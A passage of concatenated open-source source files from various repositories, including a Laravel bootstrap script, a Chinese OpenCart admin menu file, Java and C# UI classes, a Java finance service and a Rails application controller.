token manually. */ let token = document.head.querySelector('meta[name="csrf-token"]'); if (token) { window.axios.defaults.headers.common['X-CSRF-TOKEN'] = token.content; } else { console.error('CSRF token not found: https://laravel.com/docs/csrf#csrf-x-csrf-token'); } /** * Echo exposes an expressive API for subscribing to channels and listening * for events that are broadcast by Laravel. Echo and event broadcasting * allows your team to easily build robust real-time web applications. */ // import Echo from 'laravel-echo' // window.Pusher = require('pusher-js'); // window.Echo = new Echo({ // broadcaster: 'pusher', // key: process.env.MIX_PUSHER_APP_KEY, // cluster: process.env.MIX_PUSHER_APP_CLUSTER, // encrypted: true // });
gpl-3.0
a349944418/huaye
admin/language/zh-CN/common/menu.php
5998
<?php // Text $_['text_analytics'] = '谷歌分析'; $_['text_affiliate'] = '加盟'; $_['text_api'] = 'API接口'; $_['text_attribute'] = '属性'; $_['text_attribute_group'] = '属性组'; $_['text_backup'] = '备份 / 恢复'; $_['text_banner'] = '横幅广告'; $_['text_captcha'] = '验证码'; $_['text_catalog'] = '房源目录'; $_['text_category'] = '房源分类'; $_['text_country'] = '国家'; $_['text_coupon'] = '折扣券'; $_['text_currency'] = '货币'; $_['text_customer'] = '会员'; $_['text_customer_group'] = '会员等级'; $_['text_custom_field'] = '自定义字段'; $_['text_dashboard'] = '仪表盘'; $_['text_design'] = '规划设计'; $_['text_download'] = '下载文件管理'; $_['text_error_log'] = '错误日志'; $_['text_extension'] = '扩展功能'; $_['text_feed'] = '输出共享'; $_['text_filter'] = '筛选'; $_['text_fraud'] = '反欺诈'; $_['text_geo_zone'] = '区域群组'; $_['text_information'] = '文章管理'; $_['text_installer'] = '安装扩展功能'; $_['text_language'] = '语言设置'; $_['text_layout'] = '布局排版'; $_['text_localisation'] = '参数设置'; $_['text_location'] = '线下商店'; $_['text_contact'] = '邮件通知'; $_['text_marketing'] = '市场推广'; $_['text_modification'] = '代码调整'; $_['text_manufacturer'] = '制造商/品牌'; $_['text_module'] = '模组管理'; $_['text_option'] = '选项'; $_['text_order'] = '订单管理'; $_['text_order_status'] = '订单状态'; $_['text_payment'] = '支付管理'; $_['text_product'] = '房源管理'; $_['text_reports'] = '报告'; $_['text_report_sale_order'] = '销售报告'; $_['text_report_sale_tax'] = '税种统计'; $_['text_report_sale_shipping'] = '配送报告'; $_['text_report_sale_return'] = '退货报告'; $_['text_report_sale_coupon'] = '折扣券报告'; $_['text_report_product_viewed'] = '商品浏览统计'; $_['text_report_product_purchased'] = '商品购买统计'; $_['text_report_customer_activity'] = '会员活动'; $_['text_report_customer_online'] = '在线会员'; $_['text_report_customer_order'] = '会员订单统计'; $_['text_report_customer_reward'] = '奖励积分统计'; $_['text_report_customer_credit'] = '账户余额'; $_['text_report_affiliate'] = '加盟佣金统计'; $_['text_report_affiliate_activity'] = '加盟会员活动'; $_['text_review'] = '评论'; $_['text_return'] = '商品退换'; $_['text_return_action'] = '退换操作'; $_['text_return_reason'] = '退换原因'; $_['text_return_status'] = '退换状态'; $_['text_sale'] = '销售管理'; $_['text_shipping'] = '配送管理'; $_['text_setting'] = '网站设置'; $_['text_sms'] = '短信接口'; $_['text_stock_status'] = '库存状态'; $_['text_system'] = '系统设置'; $_['text_tax'] = '商品税种'; $_['text_tax_class'] = '稅率类別'; $_['text_tax_rate'] = '税率'; $_['text_theme'] = '模板主题'; $_['text_tools'] = '工具'; $_['text_total'] = '订单总计'; $_['text_upload'] = '上传文件'; $_['text_user'] = '管理员'; $_['text_users'] = '管理员管理'; $_['text_user_group'] = '管理员群组'; $_['text_voucher'] = '礼品券'; $_['text_voucher_theme'] = '礼品券主题'; $_['text_weight_class'] = '重量单位'; $_['text_length_class'] = '尺寸单位'; $_['text_zone'] = '州/省/地区设置'; $_['text_recurring'] = '分期付款'; $_['text_order_recurring'] = '分期付款订单'; $_['text_paypal'] = 'PayPal'; $_['text_paypal_search'] = '检索'; $_['text_others'] = '其它'; $_['text_url_alias'] = 'SEO URL 管理'; $_['text_weidian'] = '微店管理'; $_['text_weidian_category'] = '微店分类'; $_['text_weidian_product'] = '微店商品'; $_['text_baidu_seo'] = '百度推广'; $_['text_pushurl'] = '百度URL提交'; $_['text_youzan'] = '有赞微商城管理'; $_['text_youzan_product'] = '有赞商品'; $_['text_thirdparty'] = '第三方商铺'; $_['text_cms'] = '内容管理'; $_['text_press_category'] = '新闻分类'; $_['text_press'] = '新闻'; $_['text_press_config'] = '新闻设置'; $_['text_blog_category'] = '博客分类'; $_['text_blog'] = '博客'; $_['text_blog_comment'] = '博客评论'; $_['text_blog_config'] = '博客设置'; $_['text_faq_category'] = '常见问题分类'; $_['text_faq'] = '常见问题与解答'; $_['text_faq_config'] = '常见问题设置'; $_['text_excelexportimport'] = 'Excel导入导出';
gpl-3.0
sspaeti/ImpressPages
Plugin/AsdMailChimp/Widget/AsdMailChimp/skin/default.php
221
<?php if( !empty( $form ) ): ?> <?php echo $form; ?> <?php elseif( ipIsManagementState() ): ?> <div class="text-center"> <?php echo __( 'There is no mailing list selected.', 'AsdMailChimp'); ?> </div> <?php endif; ?>
gpl-3.0
kevinnewesil/Grades2Show
protected/views/group/create.php
301
<?php $this->breadcrumbs=array( 'Groups'=>array('index'), 'Create', ); $this->menu=array( array('label'=>'List Group', 'url'=>array('index')), array('label'=>'Manage Group', 'url'=>array('admin')), ); ?> <h1>Create Group</h1> <?php echo $this->renderPartial('_form', array('model'=>$model)); ?>
gpl-3.0
nickthecoder/itchy
src/main/java/uk/co/nickthecoder/itchy/property/InputStringProperty.java
2324
package uk.co.nickthecoder.itchy.property; import uk.co.nickthecoder.itchy.Input; import uk.co.nickthecoder.itchy.InputInterface; import uk.co.nickthecoder.itchy.gui.ActionListener; import uk.co.nickthecoder.itchy.gui.Component; import uk.co.nickthecoder.itchy.gui.Container; import uk.co.nickthecoder.itchy.gui.Button; import uk.co.nickthecoder.itchy.gui.InputPicker; import uk.co.nickthecoder.itchy.gui.PlainContainer; import uk.co.nickthecoder.itchy.gui.TextWidget; public class InputStringProperty<S> extends StringProperty<S> { public InputStringProperty(String key) { super(key); } @Override public String getDefaultValue() { return ""; } @Override public Component createUnvalidatedComponent(final S subject) { final TextWidget textWidget = (TextWidget) super.createUnvalidatedComponent(subject); PlainContainer container = new PlainContainer(); container.addStyle("combo"); Button keysButton = new Button("+"); keysButton.addActionListener(new ActionListener() { @Override public void action() { InputPicker keyPicker = new InputPicker() { @Override public void pick(InputInterface input) { String old = textWidget.getText().trim(); if (old.length() > 0) { old = old + ","; } textWidget.setText(old + input.toString()); } }; keyPicker.show(); } }); container.addChild(textWidget); container.addChild(keysButton); return container; } @Override public boolean isValid( Component component ) { TextWidget textWidget = getTextWidgetFromComponent(component); try { new Input().setKeysString(textWidget.getText()); return true; } catch (Exception e) { return false; } } @Override protected TextWidget getTextWidgetFromComponent(Component component) { return (TextWidget) ((Container) component).getChildren().get(0); } }
gpl-3.0
aroog/code
ArchViewer/src/edu/cmu/cs/viewer/ui/ContentProviderObjectGraph.java
3023
package edu.cmu.cs.viewer.ui; import java.util.Observable; import java.util.Observer; import java.util.Set; import org.eclipse.jface.viewers.ITreeContentProvider; import org.eclipse.jface.viewers.TreeViewer; import org.eclipse.jface.viewers.Viewer; public class ContentProviderObjectGraph implements ITreeContentProvider, Observer { private static Object[] EMPTY_ARRAY = new Object[0]; protected TreeViewer viewer; public void dispose() { } /** * Notifies this content provider that the given viewer's input has been switched to a different element. * <p> * A typical use for this method is registering the content provider as a listener to changes on the new input * (using model-specific means), and deregistering the viewer from the old input. In response to these change * notifications, the content provider propagates the changes to the viewer. * </p> * * @param viewer the viewer * @param oldInput the old input element, or <code>null</code> if the viewer did not previously have an input * @param newInput the new input element, or <code>null</code> if the viewer does not have an input */ public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { // Note: We assume that it is the responsibility of each domain object to recursively // call addObserver(...) or deleteObserver(...) on any of its owned children this.viewer = (TreeViewer) viewer; if (oldInput instanceof Observable) { Observable observableOldInput = (Observable) oldInput; observableOldInput.deleteObserver(this); } if (newInput instanceof Observable) { Observable observableNewInput = (Observable) newInput; observableNewInput.addObserver(this); } } public Object[] getChildren(Object parentElement) { Object[] array = ContentProviderObjectGraph.EMPTY_ARRAY; if (parentElement instanceof ITreeElement) { ITreeElement treeElement = (ITreeElement) parentElement; array = treeElement.getChildren(); } else if ( parentElement instanceof Set) { Set<ITreeElement> set = (Set<ITreeElement>)parentElement; array = set.toArray(new ITreeElement[0]); } return array; } public Object getParent(Object element) { Object parent = null; if (element instanceof ITreeElement) { ITreeElement treeElement = (ITreeElement) element; parent = treeElement.getParent(); } return parent; } // Remark: hasChildren is not implemented in terms of getChildren() // since it is probably more efficient this way public boolean hasChildren(Object element) { boolean hasChildren = true; if (element instanceof ITreeElement) { ITreeElement treeElement = (ITreeElement) element; hasChildren = treeElement.hasChildren(); } return hasChildren; } public Object[] getElements(Object inputElement) { return getChildren(inputElement); } public void update(Observable arg0, Object arg1) { if (viewer != null) { viewer.refresh(arg0); } } }
gpl-3.0
GlacierSoft/netloan-project
netloan-module/src/main/java/com/glacier/netloan/service/finance/FinanceMemberService.java
10784
package com.glacier.netloan.service.finance; import java.util.Date; import java.util.List; import org.apache.commons.lang3.StringUtils; import org.apache.shiro.SecurityUtils; import org.apache.shiro.subject.Subject; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; import com.glacier.basic.util.CollectionsUtil; import com.glacier.basic.util.RandomGUID; import com.glacier.jqueryui.util.JqGridReturn; import com.glacier.jqueryui.util.JqPager; import com.glacier.jqueryui.util.JqReturnJson; import com.glacier.netloan.dao.finance.FinanceMemberMapper; import com.glacier.netloan.dao.system.UserMapper; import com.glacier.netloan.dto.query.finance.FinFinanceMemberQueryDTO; import com.glacier.netloan.entity.finance.FinanceMember; import com.glacier.netloan.entity.finance.FinanceMemberExample; import com.glacier.netloan.entity.finance.FinanceMemberExample.Criteria; import com.glacier.netloan.entity.system.User; import com.glacier.netloan.entity.system.UserExample; import com.glacier.netloan.util.MethodLog; /** * @ClassName: FinanceMemberService * @Description: TODO(会员资金记录service层) * @author xichao.dong * @email 406592176@QQ.com * @date 2014-1-21 下午2:22:22 */ @Service @Transactional(readOnly = true ,propagation = Propagation.REQUIRED) public class FinanceMemberService { @Autowired private FinanceMemberMapper financeMemberMapper; @Autowired private UserMapper userMapper; /** * @Title: getMember * @Description: TODO(根据会员资金记录Id获取会员资金记录信息) * @param @param financeMemberId * @param @return 设定文件 * @return Object 返回类型 * @throws */ public Object getFinanceMember(String financeMemberId) { FinanceMember financeMember = financeMemberMapper.selectByPrimaryKey(financeMemberId); return financeMember; } /** * @Title: getMemberId * @Description: TODO(自定义方法,根据会员Id查找该会员的财务信息) * @param @param memberId * @param @return 设定文件 * @return Object 返回类型 * @throws */ public Object getFinanceMemberByMemberId(String memberId) { FinanceMember financeMember = financeMemberMapper.selectByMemberId(memberId); return financeMember; } /** * @Title: getMemberByMemberId * @Description: TODO(根据会员Id获取会员资金记录信息) * @param @param financeMemberId * @param @return 设定文件 * @return Object 返回类型 * @throws */ public Object getMemberByMemberId(String memberId) { FinanceMemberExample financeMemberExample = new FinanceMemberExample(); financeMemberExample.createCriteria().andMemberIdEqualTo(memberId); List<FinanceMember> financeMembers = financeMemberMapper.selectByExample(financeMemberExample); return financeMembers.get(0); } /** * @Title: listAsGrid * @Description: TODO(获取所有会员资金记录信息) * @param @param pfinanceMemberr * @param @return 设定文件 * @return Object 返回类型 * @throws */ public Object listAsGrid(FinFinanceMemberQueryDTO financeMemberQueryDTO,JqPager pager) { JqGridReturn returnResult = new JqGridReturn(); FinanceMemberExample financeMemberExample = new FinanceMemberExample(); Criteria queryCriteria = financeMemberExample.createCriteria(); financeMemberQueryDTO.setQueryConditions(queryCriteria); if (null != pager.getPage() && null != pager.getRows()) {// 设置排序信息 financeMemberExample.setLimitStart((pager.getPage() - 1) * pager.getRows()); financeMemberExample.setLimitEnd(pager.getRows()); } if (StringUtils.isNotBlank(pager.getSort()) && StringUtils.isNotBlank(pager.getOrder())) {// 设置排序信息 financeMemberExample.setOrderByClause(pager.getOrderBy("temp_finance_member_")); } List<FinanceMember> financeMembers = financeMemberMapper.selectByExample(financeMemberExample); // 查询所有会员资金记录列表 int total = financeMemberMapper.countByExample(financeMemberExample); // 查询总页数 returnResult.setRows(financeMembers); returnResult.setTotal(total); return returnResult;// 返回ExtGrid表 } /** * @Title: addMember * @Description: TODO(新增会员资金记录) * @param @param financeMember * @param @return 设定文件 * @return Object 返回类型 * @throws */ @Transactional(readOnly = false) public Object addMember(FinanceMember financeMember) { //通过admin来获取超级管理员信息 UserExample userExample = new UserExample(); userExample.createCriteria().andUsernameEqualTo("admin"); List<User> users = userMapper.selectByExample(userExample); User pricipalUser = users.get(0); JqReturnJson returnResult = new JqReturnJson();// 构建返回结果,默认结果为false int count = 0; financeMember.setFinanceMemberId(RandomGUID.getRandomGUID()); financeMember.setCreater(pricipalUser.getUserId()); financeMember.setCreateTime(new Date()); financeMember.setUpdater(pricipalUser.getUserId()); financeMember.setUpdateTime(new Date()); count = financeMemberMapper.insert(financeMember); if (count == 1) { returnResult.setSuccess(true); returnResult.setMsg("会员资金记录信息已保存"); } else { returnResult.setMsg("发生未知错误,会员资金记录信息保存失败"); } return returnResult; } /** * @Title: editMember * @Description: TODO(修改会员资金记录) * @param @param financeMember * @param @return 设定文件 * @return Object 返回类型 * @throws */ @Transactional(readOnly = false) public Object editMember(FinanceMember financeMember) { JqReturnJson returnResult = new JqReturnJson();// 构建返回结果,默认结果为false int count = 0; Subject pricipalSubject = SecurityUtils.getSubject(); User pricipalUser = (User) pricipalSubject.getPrincipal(); financeMember.setUpdater(pricipalUser.getUserId()); financeMember.setUpdateTime(new Date()); count = financeMemberMapper.updateByPrimaryKeySelective(financeMember); if (count == 1) { returnResult.setSuccess(true); returnResult.setMsg("会员资金记录信息已修改"); } else { returnResult.setMsg("发生未知错误,会员资金记录信息修改失败"); } return returnResult; } /** * @Title: editMember * @Description: TODO(前台修改会员资金记录) * @param @param financeMember * @param @return设定文件 * @return Object 返回类型 * @throws * */ @Transactional(readOnly = false) public Object editMemberWebsite(FinanceMember financeMember) { JqReturnJson returnResult = new JqReturnJson();// 构建返回结果,默认结果为false int count = 0; UserExample userExample = new UserExample(); userExample.createCriteria().andUsernameEqualTo("admin"); List<User> users = userMapper.selectByExample(userExample); User pricipalUser = users.get(0); financeMember.setUpdater(pricipalUser.getUserId()); financeMember.setUpdateTime(new Date()); count = financeMemberMapper.updateByPrimaryKeySelective(financeMember); if (count == 1) { returnResult.setSuccess(true); returnResult.setMsg("会员资金记录信息已修改"); } else { returnResult.setMsg("发生未知错误,会员资金记录信息修改失败"); } return returnResult; } /** * @Title: auditMember * @Description: TODO(审核会员资金记录信息) * @param @param financeMember * @param @return 设定文件 * @return Object 返回类型 * @throws */ @Transactional(readOnly = false) @MethodLog(opera = "MemberList_audit") public Object auditMember(FinanceMember financeMember) { JqReturnJson returnResult = new JqReturnJson();// 构建返回结果,默认结果为false int count = 0; Subject pricipalSubject = SecurityUtils.getSubject(); User pricipalUser = (User) pricipalSubject.getPrincipal(); financeMember.setUpdater(pricipalUser.getUserId()); financeMember.setUpdateTime(new Date()); count = financeMemberMapper.updateByPrimaryKeySelective(financeMember); if (count == 1) { returnResult.setSuccess(true); returnResult.setMsg("[" + financeMember.getMemberId() + "] 会员资金记录信息已审核"); } else { returnResult.setMsg("发生未知错误,会员资金记录信息审核失败"); } return returnResult; } /** * @Title: delMember * @Description: TODO(删除会员资金记录) * @param @param financeMemberId * @param @return 设定文件 * @return Object 返回类型 * @throws */ @Transactional(readOnly = false) @MethodLog(opera = "MemberList_del") public Object delMember(List<String> financeMemberIds, List<String> memberCodes) { JqReturnJson returnResult = new JqReturnJson();// 构建返回结果,默认结果为false int count = 0; if (financeMemberIds.size() > 0) { FinanceMemberExample financeMemberExample = new FinanceMemberExample(); financeMemberExample.createCriteria().andFinanceMemberIdIn(financeMemberIds); count = financeMemberMapper.deleteByExample(financeMemberExample); if (count > 0) { returnResult.setSuccess(true); returnResult.setMsg("成功删除了[ " + CollectionsUtil.convertToString(memberCodes, ",") + " ]会员资金记录"); } else { returnResult.setMsg("发生未知错误,会员资金记录信息删除失败"); } } return returnResult; } }
gpl-3.0
ksiomelo/mailbox-plus
app/controllers/base_controller.rb
250
class BaseController < ApplicationController #layout "application_offline" before_filter :authenticate_user! def index if current_user.is? :admin redirect_to stamps_url else redirect_to messages_url end end end
gpl-3.0
DIRACGrid/WebAppDIRAC
src/WebAppDIRAC/WebApp/static/core/js/views/tabs/Image.js
657
/******************************************************************************* * It used to show an image in a panel. class Ext.dirac.views.tabs.Image extends * Ext.Img */ Ext.define("Ext.dirac.views.tabs.Image", { extend: "Ext.Img", cls: "pointer", frame: true, panel: null, listeners: { render: function (oElem, eOpts) { var me = this; oElem.el.on({ load: function (evt, ele, opts) { var me = this; me.panel.setLoading(false); }, scope: me, }); }, }, setPanel: function (p) { var me = this; me.panel = p; }, // resizable: true, we can forget this!!! });
gpl-3.0
standout/standoutcms
app/controllers/application_controller.rb
7489
require "application_responder" #render Filters added to this controller apply to all controllers in the application. # Likewise, all the methods added will be available for all controllers. class ApplicationController < ActionController::Base self.responder = ApplicationResponder respond_to :html include ControllerAuthentication include UrlHelper helper :all # include all helpers, all the time helper_method :current_user, :is_admin?, :current_website_id, :current_website, :current_cart, :current_member before_filter :set_locale after_filter :set_website after_filter :set_csrf_cookie_for_ng # See ActionController::RequestForgeryProtection for details # Uncomment the :secret if you're not using the cookie session store protect_from_forgery # :secret => '8d3b55fa38b9b12ecc889fab9fcdec25' def set_csrf_cookie_for_ng cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery? end def check_login # If we have a user, check that he is allowed to edit this website if current_user if current_website redirect_to login_path unless current_user.admin? || current_website.users.include?(current_user) end else # User can log in with an API key instead. # Check for apikey and log in the user if params[:apikey] website = Website.find(params[:website_id]) if params[:apikey] == website.api_key session[:website_id] = website.id session[:user_id] = website.admins.first.id if website.admins.first return true else render :text => "Login failed", :status => 500 and return false end else redirect_to login_path end end end # Try to set the locale, first base it on the current user locale # and secondly on the preferred locale from the browser. def set_locale if current_user I18n.locale = current_user.locale if User::LOCALES.include?(current_user.locale.to_s) else preferred_locales = request.headers['HTTP_ACCEPT_LANGUAGE'].split(',').map { |l| l.split(';').first } rescue [] I18n.locale = preferred_locales.select { |l| User::LOCALES.include?(l.to_s) }.first end end def admin_only unless is_admin? redirect_to '/' end end def set_website true end # Used when images are not found on our server. def image_rescue send_data File.read("#{Rails.root}/app/assets/images/not_found.png"), :filename => 'not_found.png', :type => "image/png", :disposition => "inline" end rescue_from CanCan::AccessDenied do |exception| flash[:alert] = exception.message redirect_to root_url end protected def verified_request? super || form_authenticity_token == request.headers['X-XSRF-TOKEN'] end def current_website_id current_website.id end def current_website @website ||= ( Website.find_by_subdomain(request.subdomain.to_s) || Website.find_by_domain(request.host.to_s) || Website.find_by_domainaliases(request.host.to_s) ) end def current_user if session[:user_id] @me ||= User.find(session[:user_id]) else false end rescue ActiveRecord::RecordNotFound session[:user_id] = nil false end def current_member @current_member ||= MemberSession.get(session, current_website) end def current_cart Cart.find(session[:cart_id]) rescue ActiveRecord::RecordNotFound cart = Cart.create(:website_id => current_website.id) session[:cart_id] = cart.id cart end def is_admin? current_user && current_user.admin? end # def handle_unverified_request # logger.warn "Unverified request detected. Resetting session." # super # call the default behaviour which resets the session # end # TODO: move into /lib def render_the_template(website, page_template, cart, extra_stuff = {}) if page_template.nil? return "No matching page template found." end keep_liquid = false page = extra_stuff.delete(:page) language = extra_stuff.delete(:language) language = website.default_language if language.blank? query = extra_stuff.delete(:query) logger.debug "Query: #{query}" unless query.blank? extra_stuff.merge!({ 'search_result' => SearchDrop.new(website, query), 'query' => query }) end stuff = { 'cart' => CartDrop.new(cart.id), 'language' => language, 'page' => PageDrop.new(page, language), 'page_template_id' => page_template.id, 'website' => WebsiteDrop.new(website), 'current_member' => current_member ? MemberDrop.new(current_member) : nil, 'flash' => { 'alert' => flash[:alert], 'notice' => flash[:notice] }, 'params' => params, "form_authenticity_token" => form_authenticity_token }.merge(extra_stuff) logger.debug "Stuff: #{stuff.inspect}" # Parse the liquid doc = Hpricot(Liquid::Template.parse(page_template.html.to_s).render(stuff)) # Our extra javascripts and CSS files begin doc.at("head").inner_html = "\n<meta name='description' content='#{page.description(language)}' />\n" << doc.at("head").inner_html rescue logger.info "Warning: could not find head/title-tag. Might be because of liquid inclusion though." end # Menu items doc.search(".menu").each do |menu| menu_item = Menu.find_or_create_by(page_template_id: page_template.id, for_html_id: menu.attributes['id']) menu_item.start_level = menu.attributes['data-startlevel'] if menu.attributes['data-startlevel'] != "" menu_item.levels = menu.attributes['data-sublevels'] if menu.attributes['data-sublevels'] != "" if page menu.inner_html = menu_item.html(page, language) else menu.inner_html = menu_item.html(website.root_pages.first) end end # Breadcrumb items unless page.blank? # Content items doc.search(".editable").each do |element| out = "" for item in page.content_items.where(for_html_id: "#{element.attributes['id']}").where(page_id: page.id).where(language: language) if keep_liquid out << item.text_content.to_s else out << item.produce_output end end begin element.inner_html = out rescue => e logger.info "#{e.inspect}" end end doc.search(".breadcrumbs").each do |breadcrumb| breadcrumb.inner_html = page.breadcrumbs_html end # Layout images doc.search(".cms-layoutimage").each do |li| out = "" for item in page.content_items.where(for_html_id: "#{li.attributes['id']}").where(page_id: page.id).where(language: language) out << item.produce_output end li.inner_html = out end end doc.to_original_html end def render_slug(slug, options = {}) if template = current_website.page_templates.find_by(slug: slug) render_the_template(current_website, template, current_cart, options) else "You need a template named #{slug} to render this page" end end def pagination_meta_for(collection) { current_page: collection.current_page, next_page: collection.next_page, prev_page: collection.previous_page, total_pages: collection.total_pages, total_count: collection.total_entries } end end
gpl-3.0
belimawr/FMS-Editor-Simulator
Automata/Tools/InputStringSelector.java
1547
package Automata.Tools; import Automata.Model.FSM_Model; import CH.ifa.draw.figure.TextFigure; import CH.ifa.draw.framework.DrawingView; import CH.ifa.draw.framework.Figure; import CH.ifa.draw.tool.ActionTool; import javax.swing.*; import java.awt.*; /** * Author: Tiago de França Queiroz * Date: 04/01/14 * * Copyright Tiago de França Queiroz, 2014. * * This file is part of Automata. * * Automata.PACKAGE_NAME is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Automata is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Automata. If not, see <http://www.gnu.org/licenses/>. */ public class InputStringSelector extends ActionTool { public InputStringSelector(DrawingView itsView) { super(itsView); } @Override public void action(Figure figure) { if(figure instanceof TextFigure) { FSM_Model model = FSM_Model.getInstance(); if(model.isValid()) model.setTape_storage((TextFigure) figure); else JOptionPane.showMessageDialog((Component) view(), "FSM is invalid!", "Error!", JOptionPane.ERROR_MESSAGE); } } }
gpl-3.0
Natysik16111994/mcp8086
Emulator/MainForm.cs
10582
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Diagnostics; using System.Text; using System.Windows.Forms; using System.IO; namespace Emulator { public partial class MainForm : Form { public static MainForm Instance = null; public RegistersForm registersForm; public ProgramForm programForm; public OutputForm outputForm; private Processor processor = null; private Assembler assembler; // Информация о текущем файле private string _filename = ""; private bool _fileChanged = false; private Queue<string> consoleQueue; public MainForm() { InitializeComponent(); processor = new Processor(); assembler = processor.GetAssembler(); registersForm = new RegistersForm(processor); programForm = new ProgramForm(processor); outputForm = new OutputForm(); consoleQueue = new Queue<string>(); MainForm.Instance = this; UpdateTitle(); } public void SetFileChanged(bool state) { this._fileChanged = state; } // Кнопки в меню // Выход private void выходToolStripMenuItem_Click(object sender, EventArgs e) { this.Close(); } // Открыть файл private void открытьToolStripMenuItem_Click(object sender, EventArgs e) { if (ConfirmSaveFile() != DialogResult.Cancel) { openFileDialog1.InitialDirectory = Directory.GetCurrentDirectory(); if (openFileDialog1.ShowDialog() == DialogResult.OK) { this._filename = openFileDialog1.FileName; programForm.richTextBox1.Lines = File.ReadAllLines(this._filename); programForm.StopProgram(); SetFileChanged(false); } } UpdateTitle(); } // Сохранить private void сохранитьToolStripMenuItem_Click(object sender, EventArgs e) { SaveFile(); UpdateTitle(); } // Сохранить как private void сохранитьКакToolStripMenuItem_Click(object sender, EventArgs e) { SaveFileAs(); UpdateTitle(); } // Создать private void создатьToolStripMenuItem_Click(object sender, EventArgs e) { ConfirmSaveFile(); this._filename = ""; programForm.richTextBox1.Text = ""; UpdateTitle(); } /// <summary> /// Спрашивает, сохранить ли файл /// </summary> /// <returns>Результат вызова диалога.</returns> private DialogResult ConfirmSaveFile() { if (!this._fileChanged) return DialogResult.No; if (programForm.richTextBox1.Text.Length == 0) return DialogResult.No; DialogResult dr = MessageBox.Show("Сначала сохранить программу?", this.ProductName, MessageBoxButtons.YesNoCancel, MessageBoxIcon.Question); if (dr == DialogResult.Yes) SaveFile(); return dr; } /// <summary> /// Сохраняет файл, если имя файла уже указано. В ином случае открывает диалог сохранения. /// </summary> /// <returns>Возвращает true, если файл сохранен; false в ином случае.</returns> private bool SaveFile() { if (this._filename.Length == 0) return SaveFileAs(); else File.WriteAllLines(this._filename, programForm.richTextBox1.Lines); SetFileChanged(false); return true; } /// <summary> /// Вызывает диалог сохранения /// </summary> /// <returns>Возвращает true, если файл сохранен; false в ином случае.</returns> private bool SaveFileAs() { if (this.saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK) { this._filename = saveFileDialog1.FileName; if (Path.GetExtension(this._filename).Length == 0) { if (saveFileDialog1.FilterIndex == 0) this._filename += ".asm"; else if (saveFileDialog1.FilterIndex == 1) this._filename += ".txt"; } File.WriteAllLines(this._filename, programForm.richTextBox1.Lines); SetFileChanged(false); return true; } return false; } /// <summary> /// Обновляет заголовок окна /// </summary> private void UpdateTitle() { if (this._filename.Length == 0) this.Text = this.ProductName; else this.Text = this.ProductName + " [" + this._filename + "]"; } private void окноРегистровToolStripMenuItem_Click(object sender, EventArgs e) { registersForm.Visible = окноРегистровToolStripMenuItem.Checked; } private void окноПрограммыToolStripMenuItem_Click(object sender, EventArgs e) { programForm.Visible = окноПрограммыToolStripMenuItem.Checked; } private void окноВыводаToolStripMenuItem_Click(object sender, EventArgs e) { outputForm.Visible = окноВыводаToolStripMenuItem.Checked; } private void MainForm_Shown(object sender, EventArgs e) { // Выводим и располагаем формы programForm.MdiParent = registersForm.MdiParent = outputForm.MdiParent = this; programForm.Left = 0; programForm.Top = 0; programForm.Size = new System.Drawing.Size(300, 470); programForm.Show(); //programForm.richTextBox1.Lines = File.ReadAllLines("add.asm"); registersForm.Left = programForm.Right; registersForm.Top = 0; registersForm.Show(); outputForm.Left = programForm.Right; outputForm.Top = registersForm.Bottom; outputForm.Size = new Size(registersForm.Width, programForm.Height - outputForm.Top); outputForm.Show(); programForm.Focus(); } /// <summary> /// Выполнить программу /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void toolStripButton_Execute_Click(object sender, EventArgs e) { programForm.ExecuteProgram(); } /// <summary> /// Выполнить шаг программы /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void toolStripButton_Step_Click(object sender, EventArgs e) { programForm.ExecuteProgramStep(); } /// <summary> /// Останавливает выполнение /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void toolStripButton_Stop_Click(object sender, EventArgs e) { programForm.StopProgram(); this.WriteConsole("Выполнение прервано пользователем."); } /// <summary> /// Выполняет одну из команд меню "Правка" /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void отменаToolStripMenuItem_Click(object sender, EventArgs e) { int tag = int.Parse(((ToolStripMenuItem)sender).Tag.ToString()); if (tag == 0) programForm.richTextBox1.Undo(); else if (tag == 1) programForm.richTextBox1.Redo(); else if (tag == 2) programForm.richTextBox1.Cut(); else if (tag == 3) programForm.richTextBox1.Copy(); else if (tag == 4) programForm.richTextBox1.Paste(); } /// <summary> /// Записывает строку в консоль вывода (Асинхронно) /// </summary> /// <param name="text">Записываемый текст</param> public void WriteConsole(string text) { string time = DateTime.Now.ToLongTimeString(); consoleQueue.Enqueue(time + "\t" + text + "\n"); } private void MainForm_Load(object sender, EventArgs e) { /*this._filename = "text.asm"; programForm.richTextBox1.Lines = File.ReadAllLines(this._filename); this.UpdateTitle();*/ } private void десятиричнаяToolStripMenuItem_Click(object sender, EventArgs e) { ToolStripMenuItem item = sender as ToolStripMenuItem; bool hex = (item.Tag.ToString() == "1"); шестнадцатеричнаяToolStripMenuItem.Checked = hex; десятиричнаяToolStripMenuItem.Checked = !hex; } /// <summary> /// Указывает, производится ли вывод в шестнадцатеричном формате /// </summary> /// <returns></returns> public bool OutputHex() { return шестнадцатеричнаяToolStripMenuItem.Checked; } private void timer1_Tick(object sender, EventArgs e) { while (consoleQueue.Count > 0) { outputForm.richTextBox1.AppendText(consoleQueue.Dequeue()); outputForm.richTextBox1.SelectionStart = outputForm.richTextBox1.Text.Length; outputForm.richTextBox1.Focus(); } } private void справкаToolStripMenuItem_Click(object sender, EventArgs e) { try { System.Diagnostics.Process.Start("help.pdf"); } catch (Exception ex) { } } } }
gpl-3.0
nikneem/hexmaster-logger
HexMaster Logger/HexMaster.Logging/Configuration/LogRepositoryConfiguration.cs
1337
